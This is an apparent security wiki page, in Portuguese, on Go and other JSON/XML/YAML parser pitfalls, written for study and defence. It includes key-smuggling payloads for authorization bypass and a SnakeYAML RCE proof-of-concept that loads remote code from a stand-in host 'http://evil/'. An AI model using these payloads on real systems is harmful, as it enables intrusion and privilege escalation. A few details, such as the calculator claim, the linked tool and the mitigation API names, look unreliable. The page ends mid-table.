# JSON, XML & Yaml Hacking & Issues {{#include ../banners/hacktricks-training.md}} ## Go JSON Decoder Os seguintes problemas foram detectados no Go JSON, embora possam estar presentes em outras linguagens também. Esses problemas foram publicados em [**este post no blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/). Os parsers JSON, XML e YAML do Go têm um longo histórico de inconsistências e padrões inseguros que podem ser explorados para **burlar a autenticação**, **escalar privilégios** ou **exfiltrar dados sensíveis**. ### (Un)Marshaling Dados Inesperados O objetivo é explorar structs que permitem a um atacante ler/escrever campos sensíveis (por exemplo, `IsAdmin`, `Password`). - Exemplo de Struct: ```go type User struct { Username string `json:"username,omitempty"` Password string `json:"password,omitempty"` IsAdmin bool `json:"-"` } ``` - Vulnerabilidades Comuns 1. **Tag ausente** (sem tag = campo ainda é analisado por padrão): ```go type User struct { Username string } ``` Carga útil: ```json {"Username": "admin"} ``` 2. **Uso incorreto de `-`**: ```go type User struct { IsAdmin bool `json:"-,omitempty"` // ❌ wrong } ``` Carga útil: ```json {"-": true} ``` ✔️ Maneira adequada de bloquear campo de ser (des)serializado: ```go type User struct { IsAdmin bool `json:"-"` } ``` ### Diferenças de Parser O objetivo é contornar a autorização explorando como diferentes parsers interpretam a mesma carga útil de maneira diferente, como em: - CVE-2017-12635: contorno do Apache CouchDB via chaves duplicadas - 2022: RCE 0-click do Zoom via inconsistência do parser XML - GitLab 2025 contorno SAML via peculiaridades do XML **1. Campos Duplicados:** O `encoding/json` do Go pega o **último** campo. ```go json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req) fmt.Println(req.Action) // AdminAction ``` Outros analisadores (por exemplo, Jackson do Java) podem levar o **primeiro**. **2. Insensibilidade a Maiúsculas e Minúsculas:** Go é insensível a maiúsculas e minúsculas: ```go json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req) // matches `Action` field ``` Até truques de Unicode funcionam: ```go json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req) ``` **3. Incompatibilidade entre serviços:** Imagine: - Proxy escrito em Go - Serviço de AuthZ escrito em Python O atacante envia: ```json { "action": "UserAction", "AcTiOn": "AdminAction" } ``` - Python vê `UserAction`, permite - Go vê `AdminAction`, executa ### Confusão de Formato de Dados (Poliglotas) O objetivo é explorar sistemas que misturam formatos (JSON/XML/YAML) ou falham abertamente em erros de parser, como: - **CVE-2020-16250**: HashiCorp Vault analisou JSON com um parser XML após o STS retornar JSON em vez de XML. O atacante controla: - O cabeçalho `Accept: application/json` - Controle parcial do corpo JSON O parser XML do Go analisou **de qualquer forma** e confiou na identidade injetada. - Payload elaborado: ```json { "action": "Action_1", "AcTiOn": "Action_2", "ignored": "Action_3" } ``` Resultado: - **Go JSON** parser: `Action_2` (case-insensitive + last wins) - **YAML** parser: `Action_1` (case-sensitive) - **XML** parser: parses `"Action_3"` dentro da string --- ## Vulnerabilidades Notáveis de Parser (2023-2025) > Os seguintes problemas publicamente exploráveis mostram que a análise insegura é um problema de múltiplas linguagens — não apenas um problema do Go. ### Deserialização RCE do SnakeYAML (CVE-2022-1471) * Afeta: `org.yaml:snakeyaml` < **2.0** (usado pelo Spring-Boot, Jenkins, etc.). * Causa raiz: `new Constructor()` deserializa **classes Java arbitrárias**, permitindo cadeias de gadgets que culminam em execução remota de código. * PoC de uma linha (abrirá a calculadora no host vulnerável): ```yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ] ``` * Correção / Mitigação: 1. **Atualizar para ≥2.0** (usa `SafeLoader` por padrão). 2. Em versões mais antigas, use explicitamente `new Yaml(new SafeConstructor())`. ### libyaml Double-Free (CVE-2024-35325) * Afeta: `libyaml` ≤0.2.5 (biblioteca C utilizada por muitas ligações de linguagem). * Problema: Chamar `yaml_event_delete()` duas vezes leva a um double-free que atacantes podem transformar em DoS ou, em alguns cenários, exploração de heap. * Status: Rejeitado upstream como “uso indevido da API”, mas distribuições Linux enviaram a versão corrigida **0.2.6** que libera defensivamente o ponteiro. ### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684) * Afeta: Tencent **RapidJSON** antes do commit `8269bc2` (<1.1.0-patch-22). * Bug: Em `GenericReader::ParseNumber()`, a aritmética não verificada permite que atacantes criem literais numéricos enormes que se envolvem e corrompem o heap — permitindo, em última análise, a escalada de privilégios quando o gráfico de objetos resultante é usado para decisões de autorização. --- ### 🔐 Mitigações (Atualizado) | Risco | Correção / Recomendação | |-------------------------------------|------------------------------------------------------------| | Campos desconhecidos (JSON) | `decoder.DisallowUnknownFields()` | | Campos duplicados (JSON) | ❌ Sem correção na stdlib — valide com [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) | | Correspondência sem distinção de maiúsculas (Go) | ❌ Sem correção — valide tags de estrutura + pré-canonize a entrada | | Dados lixo XML / XXE | Use um parser endurecido (`encoding/xml` + `DisallowDTD`) | | Chaves desconhecidas YAML | `yaml.KnownFields(true)` | | **Desserialização YAML insegura** | Use SafeConstructor / atualize para SnakeYAML ≥2.0 | | libyaml ≤0.2.5 double-free | Atualize para **0.2.6** ou versão corrigida da distro | | RapidJSON